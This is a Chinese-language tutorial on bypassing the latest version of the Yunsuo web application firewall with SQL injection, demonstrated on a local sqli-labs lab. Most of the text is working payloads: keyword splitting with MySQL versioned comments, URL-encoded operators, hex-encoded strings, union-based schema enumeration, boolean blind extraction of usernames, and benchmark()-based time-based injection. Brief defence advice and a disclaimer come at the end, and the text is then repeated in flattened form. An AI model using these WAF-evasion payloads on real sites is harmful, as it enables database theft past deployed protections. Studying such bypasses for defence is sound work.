云锁最新版SQL注入WAF绕过
字数 1002 2025-08-20 18:17:53

云锁最新版SQL注入WAF绕过技术详解

前言

本文基于星盟安全团队对云锁最新版WAF的SQL注入绕过技术研究,使用sqli-labs第一关字符型注入作为测试环境,详细分析各种绕过技术。

基础绕过技术

1. AND逻辑判断绕过

被拦截语句

and 1=1

绕过方法

  • 使用URL编码的%26%26代替and
  • 1=1可以用True表示
  • 1=2可以用False表示

示例

?id=1' %26%26 True --+

2. ORDER BY绕过

被拦截语句

order by

绕过方法
使用MySQL注释语法/*!60000自定义字符串*/插入关键字中间

示例

order/*!60000ghtwf01*/by

3. UNION SELECT绕过

被拦截语句

union select

绕过方法
与ORDER BY类似,使用注释分割关键字

示例

union/*!60000ghtwf01*/select

高级查询技术

1. 数据库名查询

限制条件

  • group_concat()被过滤
  • selectfrom的结合被限制

绕过方法
使用/*!00000select*/代替select

示例URL

http://192.168.0.7/sqli/Less-1/?id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,schema_name from information_schema.schemata limit 0,1--+

2. 表名查询

技巧

  • 使用十六进制编码代替字符串值
  • security的十六进制为0x7365637572697479

示例URL

http://192.168.0.7/sqli/Less-1/?id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+

盲注技术

1. 布尔盲注

数据库名长度检测

http://192.168.0.7/sqli/Less-1/?id=1' %26%26 length(database/**/())=8 --+

数据库名首字母检测

http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (ascii(substr((/*!00000select*/ schema_name from information_schema.schemata limit 0,1),1,1))=105) --+

表名首字母检测(十六进制)

http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=65) --+

列名首字母检测

http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ column_name from information_schema.columns where table_schema=0x7365637572697479 %26%26 table_name=0x7573657273 limit 0,1),1,1))=69) --+

字段值检测

http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ username from users limit 0,1),1,1))=44) --+

2. 时间盲注

限制条件

  • sleep()函数被过滤

绕过方法
使用benchmark()函数替代

示例结构

?id=1' %26%26 (IF(条件, benchmark(10000000,md5('a')), 0)) --+

关键技巧总结

  1. 运算符替代

    • %26%26替代and
    • True/False替代1=1/1=2
  2. 关键字分割

    • 使用/*!60000自定义*/分割SQL关键字
    • 如:union/*!60000xxx*/select
  3. SELECT绕过

    • /*!00000select*/替代select
  4. 字符串编码

    • 使用十六进制编码替代字符串值
    • 如:security0x7365637572697479
  5. 函数替代

    • benchmark()替代被过滤的sleep()
  6. 空白符处理

    • 使用/**/作为空白符替代

防御建议

  1. 对注释中的特殊语法进行过滤
  2. 检查URL编码的运算符
  3. 限制information_schema的访问
  4. 对十六进制编码的字符串进行识别
  5. 监控benchmark等替代函数的使用

以上技术仅用于安全研究,请勿用于非法用途。

云锁最新版SQL注入WAF绕过技术详解 前言 本文基于星盟安全团队对云锁最新版WAF的SQL注入绕过技术研究,使用sqli-labs第一关字符型注入作为测试环境,详细分析各种绕过技术。 基础绕过技术 1. AND逻辑判断绕过 被拦截语句 : 绕过方法 : 使用URL编码的 %26%26 代替 and 1=1 可以用 True 表示 1=2 可以用 False 表示 示例 : 2. ORDER BY绕过 被拦截语句 : 绕过方法 : 使用MySQL注释语法 /*!60000自定义字符串*/ 插入关键字中间 示例 : 3. UNION SELECT绕过 被拦截语句 : 绕过方法 : 与ORDER BY类似,使用注释分割关键字 示例 : 高级查询技术 1. 数据库名查询 限制条件 : group_concat() 被过滤 select 与 from 的结合被限制 绕过方法 : 使用 /*!00000select*/ 代替 select 示例URL : 2. 表名查询 技巧 : 使用十六进制编码代替字符串值 security 的十六进制为 0x7365637572697479 示例URL : 盲注技术 1. 布尔盲注 数据库名长度检测 数据库名首字母检测 表名首字母检测(十六进制) 列名首字母检测 字段值检测 2. 时间盲注 限制条件 : sleep() 函数被过滤 绕过方法 : 使用 benchmark() 函数替代 示例结构 : 关键技巧总结 运算符替代 : %26%26 替代 and True/False 替代 1=1/1=2 关键字分割 : 使用 /*!60000自定义*/ 分割SQL关键字 如: union/*!60000xxx*/select SELECT绕过 : /*!00000select*/ 替代 select 字符串编码 : 使用十六进制编码替代字符串值 如: security → 0x7365637572697479 函数替代 : benchmark() 替代被过滤的 sleep() 空白符处理 : 使用 /**/ 作为空白符替代 防御建议 对注释中的特殊语法进行过滤 检查URL编码的运算符 限制information_ schema的访问 对十六进制编码的字符串进行识别 监控benchmark等替代函数的使用 以上技术仅用于安全研究,请勿用于非法用途。